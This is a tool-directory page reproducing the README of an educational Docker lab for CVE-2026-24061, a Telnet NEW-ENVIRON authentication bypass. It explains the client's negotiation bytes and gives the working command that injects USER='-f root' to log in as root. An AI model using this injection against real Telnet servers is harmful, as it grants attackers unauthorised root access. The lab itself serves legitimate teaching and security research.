Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/tiborscholtz/cve-2026-24061
Vulnerability AnalysisExploitationNetwork SecurityLearning & EducationLabs & Practice
GitHubtiborscholtz/cve-2026-24061

CVE-2026-24061

Educational Docker lab demonstrating Telnet NEW-ENVIRON username injection (CVE-2026-24061) with a Python client and vulnerable server for isolated security research.

View Repository
399 months agoNot yet reviewed
Share

Docker Telnet Auto-Login Lab

Docker Python License

A lightweight Docker lab for experimenting with Telnet protocol negotiation, explained in the CVE-2026-24061 exploit, which contains automatic username injection using the NEW-ENVIRON option.

This project creates an isolated client–server environment to study how Telnet handles environment-based authentication bypass.


Features

  • Isolated two-container lab using Docker Compose
  • Custom Python Telnet client
  • Automatic USER environment variable injection
  • Basic Telnet option negotiation handling
  • Internal Docker DNS-based service discovery
  • Minimal, reproducible setup

Architecture

+---------+        labnet        +---------+
| node1   |  ------------------> | node2   |
| Client  |                      | Telnet  |
| Python  |                      | Server  |
+---------+                      +---------+
ContainerRole
node1Python client with auto-login script
node2Telnet server (inetutils-telnetd 2.7)

Both services run inside a private Docker bridge network, named labnet.


Project Structure

.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py

File details

Dockerfile.node1

This file is responsible for the installation of the client container, named node1.

I chose python:3.12-slim as the base image, since the purpose of this lab is network communication, only. We only install the telnet client itself, and copy the exploit.py to the root folder of the container.

Dockerfile.node2

The file is responsible for the installation of the server container, named node2.

The same base image applies for this container, too. The installation process however, involves more steps:

  • After updating, we need to install wget, to get the vulnerable version of telnetd.
  • After downloading the vulnerable version, let's install it, using apt get install -y
  • The line appended to /etc/inetd.conf enables the telnet service.
  • The last command enables the inetd daemon as a startup command for the container.

exploit.py

At the top of the file, we see a few constants declared:

IAC  = 255 
DO   = 253
DONT = 254
WILL = 251
WONT = 252
SB   = 250
SE   = 240

IAC, with the value of 255 means, Interpret As Command, so it marks the beginning of the Telnet control sequence.

You can inspect even further options here

The format usually looks like:

IAC <command> <option>

At the script, there is the following part:

# Handle telnet negotiation
if IAC in data:
    handle_telnet_negotiation(sock, data, username)

This if checks, that if the currently received data from the server contains the IAC value, we need to interpret it as a command.

We go through the received data, using a while loop. We check for each byte, if it is a IAC.

if data[i] == IAC:
    cmd = data[i+1]
    opt = data[i+2]

If it is, we assign a cmd and opt variable a corresponding byte of the data stream.

If the opt value equals with the value of NEW_ENVIRON the script runs the send_new_environ_user method.

Let's examine the following code part:

data = bytes([
        IAC, SB, NEW_ENVIRON, 0,  # IS
        ENV_USERVAR
    ]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
        IAC, SE
])

The SB AND SE are part of Telnet protocol's constants. SB stands for 'Subnegotiation begin', while SE stands for 'Subnegoation end'. Anything between these two values are settings, related to one specific command, sent to the server. In this case, we want to send a message, using the rfc1572 standard, in detail here.

We can loosely translate the byte sequence to english, like:

- Interpret this as a command (IAC)
- It is (0)
- A new environment variable (NEW_ENVIRON)
- The value of this new environment variable is (b"USER" + bytes([ENV_VALUE]) + username.encode())
- End the subconnection (IAC + SE)

However, there are cases, when the targeted Telnet server does not support environmental variables, related to usernames. In this case, we fallback to send the username in the traditional way.


Requirements

  • Docker 24+
  • Docker Compose v2+

Verify installation:

docker --version
docker compose version

Quick Start

1. Build and start the environment

docker compose up --build -d

Check status:

docker ps

You should see:

  • node1
  • node2

2. Open a shell in the client container

docker exec -it node1 bash

Set a username, and run the script:

USER="-f root" python exploit.py node2

The script will:

  • Connect to node2 on port 23
  • Perform Telnet negotiation
  • Send USER=-f root using NEW-ENVIRON
  • Fall back to prompt detection if necessary

Networking

  • Network name: labnet
  • Docker internal DNS allows hostname resolution
  • No ports are exposed to the host
  • Communication is container-to-container only
HostnameService
node1Client
node2Telnet server

Implementation Notes

The client script:

  • Handles Telnet control sequences IAC, DO, WILL, which are fundamental Telnet protocol commands used for option negotiation between a client and server.
  • Responds to NEW-ENVIRON requests
  • Sends:
USER=<value of $USER>
  • Detects login: or username: prompts as a fallback

Stop and Clean Up

Stop the environment:

docker compose down

If you also want to remove containers and images:

docker compose down --rmi all

Security Notice

Telnet transmits data in plaintext and is not secure. This project is intended only for educational, purposes within isolated environments.


Troubleshooting

Connection refused

  • Ensure containers are running:

    docker ps
    

Script exits with USER error

  • Make sure the environment variable is set:
USER="-f root" python exploit.py node2

Rebuild after changes

docker compose up --build

License

This repository is provided for educational and research use. Contributions and improvements are welcome.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →